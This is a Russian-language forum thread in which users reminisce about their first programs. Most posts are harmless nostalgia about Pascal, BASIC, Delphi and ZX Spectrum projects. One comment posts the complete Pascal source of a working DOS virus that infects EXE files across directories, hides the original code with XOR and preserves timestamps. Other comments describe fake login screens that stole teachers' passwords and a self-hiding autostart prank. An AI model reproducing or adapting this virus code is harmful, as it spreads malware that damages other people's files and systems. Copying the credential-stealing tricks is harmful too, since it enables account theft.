                                                                                                                              Хыхы, заставка из матрицы, где буковки вылетали на паскале. Поставил на все компы в классе в автозагрузку. :)
                                                                                                                                0
                                                                                                                                Когда компьютеры были большими. а сети маленькими… Да, знатное было время)
                                                                                                                                Первой серьезной прогой было что-то для расчета статистики. Сути не помню — делал по готовым формулам. Это окупило плату за подкурсы) 10-11 класс

                                                                                                                                Еще был Paint под досом. Это уже для себя. Цветной и с мышкой. До сих помню 0х33 прерывание — для мыши. По-моему в паскале оно записывалось $33 =))
                                                                                                                                  0
                                                                                                                                  Нууу…
                                                                                                                                  Первое живое, что написал я, это колода примерно на 500 перфокарт на Фортране (sic!). На IBM DOS, не помню версию. Для справки — DOS появился после просто OS, когда появилась поддержка жестких, как тогда говорили, дисков. И Майкрософта еще не было. И все это крутилось на компе в зале примерно 200 кв метров.

                                                                                                                                  Еще. Обратите внимание, что здесь нет ни одного минусанутого комментария.
                                                                                                                                  И еще. Где взбалмошные линуксоиды, кричащие — маст дай все, кроме! Программировать, не мешки таскать…
                                                                                                                                    0
                                                                                                                                    у меня было первое игрушка типа «кто хочет стать миллионером?» на visual basic, в ту пору интернет был только через модем и дико дорогой, но все же вскоре я написал (как громко сказано:) первый простенький сайт для одного школьного проекта, потом пошло-поехало и году этак в 2005 сделал сайт впервые на заказ на Netcat :)
                                                                                                                                      0
                                                                                                                                      Да, я тоже писал «кто хочет стать миллионером?» под visual basic, а точнее под VBA. Я еще базу ответов прямо в исходный код записывал.
                                                                                                                                        0
                                                                                                                                        аналогично с точнотью до VBA и ответов в исходниках :)))
                                                                                                                                      0
                                                                                                                                      В 9 классе изучал Бейсик. Написал мини прогу про кнопку пуска.

                                                                                                                                      Дается 5 минут, за это время нужно ввести код разблокировки (угадать) при правильном вводе мини ролик: как с Земли летит ракета в летящий метеорит — Земля спасена. При если код так и не подобран, что метеорит падает на землю и Земля взрывается.

                                                                                                                                      Потом написал прогу, которая предлагала занятся сексом при выборе позы и стиля — давался комментарий =)

                                                                                                                                      На этом мое знакомостве закончилось с программированием (если его можно было назвать, что я делал)
                                                                                                                                        +1
                                                                                                                                        Первый опыт «серьезного» программирования был классе в 9-ом. Сначала Pascal, почти сразу же за ним — Delphi. Первое более-менее приличное приложение на нём — чат для локальной сети. Помнится, имело даже положительные отзывы) Чуть позже осваивал Actionscript и делал простенькие игры с его использованием.
                                                                                                                                        Но программистом так и не стал, сегодня имею дело только с php, да и то не часто :)
                                                                                                                                          +1
                                                                                                                                          В 8м классе написал на паскале программу, которая вела себя внешне как login в Novell Netware. Но на самом деле сохраняла логин и пароль пользователя. Как-то раз попался учитель информатики с админскими правами. С этого момента начал более глубоко заниматься программированием.
                                                                                                                                            +3
                                                                                                                                            в 10ом классе, эмулятор секции входа в Novell среду (тогда на всех машинах в школе стоял именно он) на паскале :) софтина собиралась, запускалась прямо из среды перед концом урока. учитель и следующие школьники видели стандартное окно входа (надо было всегда делать выход из системы), спокойно вводили информацию, после чего машина внезапно ребутилась, а данные аккаунта (логин/пасс) писались в файлик, радостно меня дожидающийся.

                                                                                                                                            удивительно, но это один из первых моментов поменявших мою специализацию, как разработчика.
                                                                                                                                              0
                                                                                                                                              на упомянутом БК, правда, 0010, на фокале (!!! — кто знает, тот поймёт) знакомые ребята на курс выше написали «Звёдные Войны» — летаешь на космическом корабле (вид из кабины), вводишь координаты и стреляешь по врагам. Перерисовывалось оно, конечно, всё очень медленно. Что-то в той программе и меня попросили написать, ну и финальную заставку — череп — я рисовал.
                                                                                                                                                0
                                                                                                                                                фокал, да…

                                                                                                                                                дома до сих пор где-то методичка валяется, на матричном принтере сделанная.
                                                                                                                                                  0
                                                                                                                                                  тоже приступ ностальгии из-за вас поймал 6:)

                                                                                                                                                  1986г. первый СВОЙ компьютер — БК0010 — был куплен после почти годичного (!) ожидания в очереди, в «Электронике» на Ленинском (а очередь — только для имеющих моськовскую прописку) за 600р (это стоимость тогдашнего мотоцикла).
                                                                                                                                                  Первый десяток прогрмм на нём — портированные под Фокал BASIC-игрушки с Искры-226 (которые кто-то в свою очередь передрал до этого с западных текстов).

                                                                                                                                                  Ну а первая программа «за деньги» была примерно тогда же, на PL/1 для ЕС — какая-то форма для месячных отчётов строительного треста. Было очень интересно :))

                                                                                                                                                  Дело было ещё в 9 классе.
                                                                                                                                                +3
                                                                                                                                                Несколько игр для МК-61.
                                                                                                                                                Игрушка типа Lode Runner'а (улетевшая со старым винчестером).
                                                                                                                                                Клон Kurtan'а (недоделанный).
                                                                                                                                                Клон «Поля чудес» (того, что с пирамидой). Сам набил из Ожегова 6000 слов. Исходники пропали всё с тем же винчестером; exe чудом у кого-то нашёлся.
                                                                                                                                                Русификаторы игр Dune 2 и Grand Prix 3. Русифицированный GWBASIC.
                                                                                                                                                Последний патч Warcraft II, отученный от компакт-диска. Ломал его ради нововведений Beyond the Dark Portal в редакторе.
                                                                                                                                                Куча утилит для Doom'а. Нет, уровни рисовал с помощью DCK+ZenNode+RMB, зато для работы с текстурами и минимизации WAD'ов были свои штучки.
                                                                                                                                                И первая прога, за которую получил реальные деньги! Программа, считывающая информацию с термодатчиков Dallas Semiconductor.
                                                                                                                                                  0
                                                                                                                                                  Как знакомо все :))

                                                                                                                                                  Почти все то же самое было. Особенно касательно Dune2. Ох как набаловались в свое время… ]:->

                                                                                                                                                  А комп первый был ЕС1840 и игры соответствующие вроде тетриса, диггера и арканоида :) А еще принц персии первый… Комп был, что называется, «с пеленок». Еще в 5 лет сидел за клавой :) Эх, ностальгия

                                                                                                                                                  Термодатчик DS1820 небось :)
                                                                                                                                                    +1
                                                                                                                                                    Наобум DS18B20. К датчикам был пристроен переходник «трёхпроводной интерфейс датчика — COM» собственной работы той фирмы. Была программа, отлично работавшая под DOS. Но к тому времени начиналось засилье NT: W2000 отвадила геймеров от W98, только-только вышла XP. Надо было написать такое же — и чтобы работало под W32.

                                                                                                                                                    Когда я сейчас смотрю на эту программу, думаю: вроде на баги не жалуются, но совершенно непонятно, почему многопоточная синхронизация не «гоняет».
                                                                                                                                                  0
                                                                                                                                                  Моя первая программа была на языке Apple для Бакинских компьтеров Корвет. Было это кажется в 5 классе. Потом BASIC, потом паскаль и пошло-поехало.
                                                                                                                                                    +2
                                                                                                                                                    Сапёр для спектрума с собственной разработанной на миллиметровке и красиво отрисованной графикой. Настоящую игру сапёр я тогда видел только в книжке и не до конца понял правила, поэтому открывались лишь примыкающие клетки.

                                                                                                                                                    Из того же спектрума — считыватель сигналов с таксофонов. Спектрум подключался к аккумулятору и длинному телефонному проводу с таксофонной карточкой на конце, потом всё это аккуратно ложилось в прочный полиэтиленовый пакет, и под покровом ночи я его носил к таксофону снимать сигналы. Потом сигналы записывал на ленту, разобраться с ними так и не пришлось, брат нашёл более простой способ звонить бесплатно. Программы составлялись на листочке в машинном коде, с пометками какие биты отвечают за какие настройки. Добавить инструкцию было проблемой, потому что нужно пересчитывать все jpm,. Жаль уже нет тех листочков.

                                                                                                                                                    Помню как вызвал разрыв шаблона у училки по информатике, когда запустил на компьютере с неработающим приводом и без бейсика программу рисующую муар на экране. А программа-то была всего 39 байт в двоичном коде, набрал в volkov commander.

                                                                                                                                                    Уже позже, Midnight — тушил все цвета в Windows, так что на экране оставались только очертания кнопок и окон, а надписей не видно, программа копировала себя в скрытый каталог и ставила в автозагрузку. Полные штаны удовольствия.

                                                                                                                                                    Если помните были такие компьютеры со светящимся трёхзначным индикатором частоты. У меня был такой компьютер без монитора, я его использовал как mp3 плеер. Винамп управлялся пультом от телевизора, но хотелось видеть ещё и название песни. И я сделал программу отображающую название текущей песни бегущей строкой на этом трёхзначном индикаторе. В дополнение написал редактор «шрифта», и в нём же можно было настроить корректное отображение знаков даже при перепутанном подключении лапок индикатора к параллельному порту.

                                                                                                                                                    О, ещё жесть. Первая работа. Управление PTZ-камерой (это такая поворотная камера с зумом) с помощью мышки, вместо дорогостоящего пульта. Хотелось эффекта присуствия как в Quake, не доставало только кнопки Fire. Штука реально пригодилась на одном промышленном объекте.
                                                                                                                                                      +3
                                                                                                                                                      До сих пор пользуюсь своим генератором «вечного» календаря, написанным 16 лет назад на Паскале.

                                                                                                                                                      Резидентные замедлялки тогда только ленивый не писал — чтобы поиграть в Sopwith пришлось писать пару раз вообще на коленке за 2 минуты, т.к. под рукой не было.

                                                                                                                                                      И с надоедливыми заставками иных игр поступали просто — деглюкер в руки, пару нопов и вот уже игра грузится мгновенно, попутно ломаешь деньги-жизни и сделанное оформляешь в .crk и на BBS-ку приятелям выкладываешь.

                                                                                                                                                      Из развлечений со знакогенератором — пиксельный салют и вращающийся тороид в текстовом режиме.
                                                                                                                                                      Из «коммерческого» — библиотека и редактор шрифтов и rgb-палитр для превращения интерфейса прог на FoxPro в гламурные, а-ля Norton Utilities 7 (кажется, уже забыл).

                                                                                                                                                      Свой Turbo Vision, а также файловый менеджер и текстовый редактор в ту пору писали с такой же частотой, как сейчас пишут свои CMS — видимо тяга к «своим» фреймворкам это вечное :)

                                                                                                                                                      [ вздыхает, подметает песочек в совочек и кряхтя лезет на печку ]
                                                                                                                                                        0
                                                                                                                                                        А я классе в 6 написал простенький арканоид на дельфях, а потом его опубликовали в журнале игромания +)
                                                                                                                                                        А начинал учиться с лого-черепашки =D
                                                                                                                                                          0
                                                                                                                                                          первое знакомство в классе седьмом сразу си, преподовали два раза в неделю ) так как балду гонял, узнал только немного о синтаксесе и всё, потом был js тоже в школе, потом с++ в краденой MS VC++ 6.0 майкросовтовский продукт как нельзя лучше распологает к изучению ) первая более менее серьёзная программа родилась во время прочтения бессмертного труда Бьерна Страуструпа: реализация несложного алгоритма сжатия по методу хаффмана, интерфейс был консольным но цветным и даже показывал % выполнения ) ой как я намучился с консольными цветами )
                                                                                                                                                            +1
                                                                                                                                                            И еще одну вещь припомню — ведь каждый день пользую — и не вижу :) — это программа, позволяющая запускать другие програмы короткой командой типа "! qdf", введя без кавычек в командную строку windows, через командную строку добавление и удаление команд, и два окна — одно показывает список добавленных команд, второе — это messagebox стандартный в который запихнуто много текста — это «помощь» к программме. Делалось на Delphi+KOL для малого размера и как тренировка написания программ на этом интерфейсе к чистому winapi.
                                                                                                                                                              +1
                                                                                                                                                              О, кто-то еще KOL помнит… :) Я на нем в свое время написал MP3-плейер, вполне себе приличный. Выбор файлов из дерева каталогов + древовидные закладки + поиск. Проигрывалось все с помощью BASS.

                                                                                                                                                              Весило все это добро килобайт 400. На самом деле, первоначально проект был на VB, но там он весил под 2 метра + библиотеки требовал. Так и переписал.
                                                                                                                                                                0
                                                                                                                                                                Да, KOL/MCK это круто было =) Последний раз дельфи держал хз сколько лет назад, а было время когда каждую новую версию ждал :) Фактически через мои лапы прошли все версии от 2 до 7 включительно :) Увидев дельфи 8, меня стошнило. С тех пор не притрагивался :)

                                                                                                                                                                Ну это из баловства. А для работы всегда был и остается С++ :)
                                                                                                                                                                  0
                                                                                                                                                                  Ха, интересен факт — я тоже изучал все версии после «пятерки», которую мне одолжил товарищ (тем он меня на программировамние и подсадил, хотя сам он это забросил быстро) — однако рельно использовались 5я и недавно 10я (без .Net). Правда, седьмую рассчитываю приспособить для написания медиацентра для себя (этакий терминал для музыкального сопровождения) — хоть еще не уверен, что там с лицензией — 10я бесплатна, но с ней не работают нужные компоненты… которые лицензированы для меня без исходников…

                                                                                                                                                                  Как вспомню, когда магазины с волшебными дисками еще не закрыли (была огромная сеть 505 в Питере) — стойка с дисками по программированию — куча компонентов с отличными описаниями, и появления новых версих компилятора…
                                                                                                                                                                    0
                                                                                                                                                                    MCK — вот это у меня так нормально и не заработало) да и не понравилась чем-то реализация.
                                                                                                                                                                    Все на «нативном» kol-коде написал.
                                                                                                                                                                      0
                                                                                                                                                                      Ну я в общем то тоже это дело больше для баловства использовал. Ну и для саморазвития. Хотя в то время exeшник пустой формы дельфей, занимающий 300+ Кб казался монструозным =) А KOL давал честные 10-15 Кб :)
                                                                                                                                                              0
                                                                                                                                                              Хех)) Да уж… Моё первое творение было в 6 классе — небольшая программа на корветном бейсике, которая рисовала окружность сначала белым цветом, потом радиус расширялся на 1px, и ещё одна окружность чёрным. Когда радиус доходил до краёв экрана, радиус начинал убывать, и это всё заканчивалось строкой GOTO 10. В целом это всё выглядело, как будто на экране постепенно появляется пластинка от проигрывателя, и также постепенно убывает, что приводило в ступор всех одноклассников и, поначалу, учительницу =)
                                                                                                                                                                0
                                                                                                                                                                10-й класс, движок интернет-магазина, perl. $100 предоплата, потом неопределённая сумма за доработки. сейчас программерством не зарабатываю :)
                                                                                                                                                                  0
                                                                                                                                                                  Товарищи!
                                                                                                                                                                  А может быть те, у кого осталось (ну мало ли) свое первое творение — выложат его в сеть?)) Не знаю, имхо, было бы очень интересно посмотреть…
                                                                                                                                                                    0
                                                                                                                                                                    xor a
                                                                                                                                                                    ld hl,#4000
                                                                                                                                                                    ld (hl),a
                                                                                                                                                                    ld de,#4001
                                                                                                                                                                    ld bc,#17ff
                                                                                                                                                                    ldir

                                                                                                                                                                    ;)

                                                                                                                                                                    зы: забывать стал… 1994-2001й, Hacker VBI
                                                                                                                                                                      +1
                                                                                                                                                                      cli
                                                                                                                                                                      hlt

                                                                                                                                                                      :))
                                                                                                                                                                        +1
                                                                                                                                                                        Великое было для меня открытие, скомпилировал, выучил последовательность в машинных кодах и прикалывался над друзьями.
                                                                                                                                                                          0
                                                                                                                                                                          Да да, именно :-)
                                                                                                                                                                      +1
                                                                                                                                                                      Первая программа серьёзная была на паскале. Год 98-ой, кажется. Написал для знакомых, которые имели несколько точек на шмоточных рынках, некоторое подобие складского учёта со своей БД. Они пользовались ей года три, пока не узнали о существовании 1С :) Абсолютно бесплатно делал. До этого занимался всякими экспериментальными вещами для изучения возможностей компьютера. Ну и задачи по информатике, конечно.
                                                                                                                                                                      О! Вспомнил. Году в 95-ом сестра попросила перепечатать программу с бумаги в компьютер. Был это паскаль. Тогда заинтересовался впервые программированием, и начала разбираться, а что эта программа делает :)
                                                                                                                                                                        0
                                                                                                                                                                          +1
                                                                                                                                                                          ▄▄ █
                                                                                                                                                                          ▀▀▀ Virus Magazine █ Box 176, Kiev 210, Ukraine IV 1998
                                                                                                                                                                          ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀▀█
                                                                                                                                                                          ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ ▀▀█ █
                                                                                                                                                                          █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ ▄▄█ █
                                                                                                                                                                          █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █▄▄ █
                                                                                                                                                                          ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄▄█
                                                                                                                                                                          © Copyright, 1994-98, by STEALTH group WorldWide, unLtd.
                                                                                                                                                                            +1
                                                                                                                                                                            А вот нашёл свой первый вирус на паскале =)

                                                                                                                                                                            {$M 16384,0,0}
                                                                                                                                                                            {$A-,B-,D-,E+,F-,G-,I-,L-,N-,S-,V-,X+} {Чтобы все было Ok}
                                                                                                                                                                            Program Virus_by_BlanzH; {Название}
                                                                                                                                                                            Uses Dos;
                                                                                                                                                                            Const V_size=3817; {Длинна откомпилированного вируса}
                                                                                                                                                                            Sign=$5055; {Сигнатура "UP" по которой проверяем заражен файл или нет}
                                                                                                                                                                            Addr_Sign=$55;{Смещение (адрес) сигнатуры}
                                                                                                                                                                            Var
                                                                                                                                                                            f:file; {Файловая переменная для всего}
                                                                                                                                                                            f_sign:Word; {Сигнатура в файле по смещению addr_sign}
                                                                                                                                                                            FAttr:Word; {Атрибут файла}
                                                                                                                                                                            FTime: Longint; {Время изменения файла}
                                                                                                                                                                            Zar:Byte; {Сколько заражено}
                                                                                                                                                                            Buf_f,Buf_v:array[1..v_size] of byte; {Буферы для вируса и для части файла}

                                                                                                                                                                            Procedure Coder(var buf:array of byte); {Процедура (рас)кодирования buf}
                                                                                                                                                                            Var i:word;
                                                                                                                                                                            Begin
                                                                                                                                                                            For i:=1 to v_size do buf[i]:=buf[i] xor $17;
                                                                                                                                                                            End;

                                                                                                                                                                            function GetCurDr:byte; assembler;
                                                                                                                                                                            asm
                                                                                                                                                                            mov ah,19h
                                                                                                                                                                            int 21h
                                                                                                                                                                            end;

                                                                                                                                                                            Procedure Vir_Dir(path:string);
                                                                                                                                                                            Label next;
                                                                                                                                                                            Var r:searchrec;
                                                                                                                                                                            Begin
                                                                                                                                                                            If path[length(path)]<>'\' then path:=path+'\';
                                                                                                                                                                            Findfirst(path+'*.*',$3F,r);
                                                                                                                                                                            Repeat
                                                                                                                                                                            if (r.attr and directory=directory)and(r.name<>'.')and(r.name<>'..')then
                                                                                                                                                                            Vir_Dir(path+r.name+'\') else
                                                                                                                                                                            if Copy(r.name,length(r.name)-2,3)='EXE' then
                                                                                                                                                                            Begin
                                                                                                                                                                            Assign(f,path+r.Name);
                                                                                                                                                                            GetFAttr(f,FAttr);
                                                                                                                                                                            SetFAttr(f,Archive);
                                                                                                                                                                            Reset(f,1);
                                                                                                                                                                            if (IOResult<>0) or (r.size<=V_Size) then goto next;
                                                                                                                                                                            GetFTime(F, FTime);
                                                                                                                                                                            Seek(f,addr_sign); BlockRead(f,f_sign,2);
                                                                                                                                                                            if f_sign=sign then goto next;
                                                                                                                                                                            Seek(f,0); BlockRead(f,buf_f,V_Size);
                                                                                                                                                                            Seek(f,0); BlockWrite(f,buf_v,V_Size);
                                                                                                                                                                            coder(buf_f);
                                                                                                                                                                            Seek(f,filesize(f)); BlockWrite(f,buf_f,V_Size);
                                                                                                                                                                            SetFTime(F, FTime);
                                                                                                                                                                            zar:=zar+1;
                                                                                                                                                                            next:
                                                                                                                                                                            close(f);
                                                                                                                                                                            SetFAttr(f,FAttr);
                                                                                                                                                                            end;
                                                                                                                                                                            Findnext®;
                                                                                                                                                                            until (doserror<>0) or (zar>2);
                                                                                                                                                                            Findnext®;
                                                                                                                                                                            end;

                                                                                                                                                                            Var
                                                                                                                                                                            Vir_name:string;
                                                                                                                                                                            command_line:^string;
                                                                                                                                                                            F_Size:longint;
                                                                                                                                                                            Begin
                                                                                                                                                                            Vir_name:=ParamStr(0);
                                                                                                                                                                            Assign(f,Vir_name);
                                                                                                                                                                            GetFAttr(f,FAttr);
                                                                                                                                                                            SetFAttr(f,$20);
                                                                                                                                                                            Reset(f,V_Size);
                                                                                                                                                                            GetFTime(f,FTime);
                                                                                                                                                                            BlockRead(f,Buf_V,1);
                                                                                                                                                                            Close(f);

                                                                                                                                                                            Vir_Dir(chr(GetCurDr+65)+':');

                                                                                                                                                                            If F_Size>V_Size then begin
                                                                                                                                                                            Assign(f,Vir_name);
                                                                                                                                                                            Reset(f,1);
                                                                                                                                                                            F_Size:=FileSize(f);
                                                                                                                                                                            Seek(f,F_Size-V_Size);
                                                                                                                                                                            BlockRead(f,buf_f,V_Size);
                                                                                                                                                                            Coder(buf_f);
                                                                                                                                                                            Seek(f,0);
                                                                                                                                                                            BlockWrite(f,buf_f,V_Size);
                                                                                                                                                                            seek(f,F_Size-V_Size);
                                                                                                                                                                            Truncate(f);
                                                                                                                                                                            close(f);

                                                                                                                                                                            SwapVectors;
                                                                                                                                                                            command_line:=ptr(prefixseg, $80);
                                                                                                                                                                            Exec(Vir_name,command_line^);
                                                                                                                                                                            SwapVectors;

                                                                                                                                                                            Assign(f,Vir_name);
                                                                                                                                                                            Reset(f,1);
                                                                                                                                                                            Seek(f,F_Size-V_Size);
                                                                                                                                                                            coder(buf_f);
                                                                                                                                                                            BlockWrite(f,buf_f,V_Size);
                                                                                                                                                                            Seek(f,0);
                                                                                                                                                                            BlockWrite(f,buf_v,V_Size);
                                                                                                                                                                            SetFTime(f,FTime);
                                                                                                                                                                            Close(f);

                                                                                                                                                                            SetFAttr(f,FAttr);
                                                                                                                                                                            end;

                                                                                                                                                                            writeln('OK');
                                                                                                                                                                            End.

                                                                                                                                                                            0
                                                                                                                                                                            Самая первая была эмулятор терминала EC-1033 для ДВК-2. И ведь работала, зараза :)
                                                                                                                                                                              0
                                                                                                                                                                              Самой первой программой была игрушка, написанная на паскале — что-то вроде PacMan, к сожалению исходники утеряны. А первые деньги заработал за скрипт, перегоняющий данные из Access в MySQL.
                                                                                                                                                                                0
                                                                                                                                                                                Стыдно сказать, первое что использовал не только я, я написал в 22 года. Для дядиного 386-го (да, в 2002 году эти динозавры еще использовались). На паскале, книгочиталка для dos. Позднее подправил, и скомпилировал под Alt Linux 2.4 (у самого тогда был pentium 166).
                                                                                                                                                                                Кстати, до сих пор, у меня одна из консолей настроена на koi-8. Сотни мегабайт с lib.ru были прочитаны этой штукой.
                                                                                                                                                                                За исходники мне стыдно — сплошной индуизм. Но это было.
                                                                                                                                                                                  0
                                                                                                                                                                                  я рос на бейсике, есть исходники начниная с 7-го класса
                                                                                                                                                                                  потом VB, .net и вот, сейчас жаба
                                                                                                                                                                                    0
                                                                                                                                                                                    в универе задача по АСМ a+b на С
                                                                                                                                                                                      +1
                                                                                                                                                                                      А кто помнит ТурбоПаскаль 7.0 там была замечательная справка с кучей примеров.
                                                                                                                                                                                      После трех лет примитивов на встроенном бейсике я решил что надо самосовершенствоваться (ну да в 15 лет так прямо и решил ^_^ ). Купил книжку по ТП7.0 и за 2 месяца написал резидентную систему контроля доступа, которая вызывалась прямо из command.com и читала клавиатуру через точно такую же procedure Keyclick; interrupt;

                                                                                                                                                                                      Практически весь код представлял собою лапшу из примеров.
                                                                                                                                                                                        0
                                                                                                                                                                                        Справку в трубопаскале я считаю одной из лучших :) Не смотря на то, что большинство плюется. Зато все было по делу и точно. Жаль только, не было контекстного поиска.
                                                                                                                                                                                        0
                                                                                                                                                                                        ну я начал с паскаля, потом игрался в делфи, а потом пришли бывшие одноклассники и сказали: «А давай забацаем интернет-магазин», ну я не знаю ни html ни php согласился :)
                                                                                                                                                                                        Через месяц интернет магазин был готов :) Паршивенький, да и прожил всего пол года, но он был готов и работал :)
                                                                                                                                                                                          0
                                                                                                                                                                                          в 8 лет была прога рисующая кружочки и прочее на бейсике в спектруме…
                                                                                                                                                                                            0
                                                                                                                                                                                            Начал программить ~в 6-7 классе, потом забросил, и снова начал в 9 классе.
                                                                                                                                                                                            Самое сложное из первых программ — игра в Точки.

                                                                                                                                                                                            elwood.su/архив-старых-программ/
                                                                                                                                                                                              0
                                                                                                                                                                                              Ингридиенты были такие:
                                                                                                                                                                                              1. Друг номер раз, который каким-то образом где-то вычитал как из Pascal работать с клавиатурой
                                                                                                                                                                                              2. Друг номер два, котрый знал куда надо нажать, чтобы программа скомпилировалась в exe.
                                                                                                                                                                                              3. Школьные машинки, имеющие при себе нортон.

                                                                                                                                                                                              Рисуем нортон (просто через writeln). Отключаем клавиатуру (чтобы по esс нельзя было выйти). Компилим в exe. Называем nc.exe. Меняем оригинал на нашу гадину…

                                                                                                                                                                                              Как я семялся над нашим преподом в школе… мама дорогая :)
                                                                                                                                                                                                0
                                                                                                                                                                                                ZX Spectrum, изменил прошивку ПЗУ — по аппаратному прерыванию можно было редактировать содержимое памяти, гордился минимальным обьемом — 126 байт кода. Ассемблер естественно :)
                                                                                                                                                                                                  +1
                                                                                                                                                                                                  Программить в 3-м класе начал, 9 лет было, в школе — были у нас такие здоровенные белые клавы + маленький телек — компьютер Ассистент, gw-basic inside
                                                                                                                                                                                                  Перая прога была — «Попугай» на бэйсике, там строчек 5-6, суть — пишешь сообщения компу — он отвечает тебе твоими же словами выбранными случайным образом. После 5-10 минут, когда набивался определённый словарь было смешно :)

                                                                                                                                                                                                  Первая за деньги — лабы на первом курсе.

                                                                                                                                                                                                  На третьем курсе (в 2002) начал заниматься сайтами и до сих пор)
                                                                                                                                                                                                    0
                                                                                                                                                                                                    Так получилось, что компьютеры были семье еще до моего рождения, помню панельки NC с красным курсором, но до 9 класса(2003-2004г) игнорировал, пока не попался журнал игромании с модами для GTA3, потом еще купил несколько журналов, в итоге, пока учился ставить софт и моды(тогда еще не было автоинсталятора и приходилось все делать через правку конфигов и файлов ресурсов)… научился работать с MS Windows.

                                                                                                                                                                                                    Т. к. отец работает программистом С/С++, была установленна вижал студия, си показался сложноват, по началу практически методом тыка начал писать на VB6(продвинутый блокнот, блокиратор экрана… в общем, ничего особо полезного). Потом попытался написать на VB.NET интерпритатор простеньких скриптов(забросил видимо из-за нехватки знаний и в следствии кривости). Писал скрипты для mirc, дорабатывал jmirc на j2me.

                                                                                                                                                                                                    В 11 классе как экзаменационная работа был сделан школьный портал на php и текстовых файлах(хотя по большей части это был фейк), после окончания школы начал работать верстальщиком, в свободное время делая небольшой сайт для друзей(новости, блоги, галерея, с использованием php/mysql и css верстки) — это пожалуй и был первый полностью мой проект которым пользовался не только я.
                                                                                                                                                                                                      0
                                                                                                                                                                                                      Заставлял черепашку рисовать. 3-й класс, ЛОГО на старых маках.
                                                                                                                                                                                                        0
                                                                                                                                                                                                        В 7 лет шото типа змейки сделал. А потом вскоре комп сломался, и был я без него 5 лет ..(((((((((
                                                                                                                                                                                                        Потом сразу IBM и долгая реабилитация…
                                                                                                                                                                                                          0
                                                                                                                                                                                                          хм… вспоминаю свое первое меню на алфавитно-цифровом мониторе, на бейсике, где все было принципиально через командную строку, и мышки еще не появились у нас… Это было где-то в конце 80-х, класс восьмой, наверное.

                                                                                                                                                                                                          Only users with full accounts can post comments. Log in, please.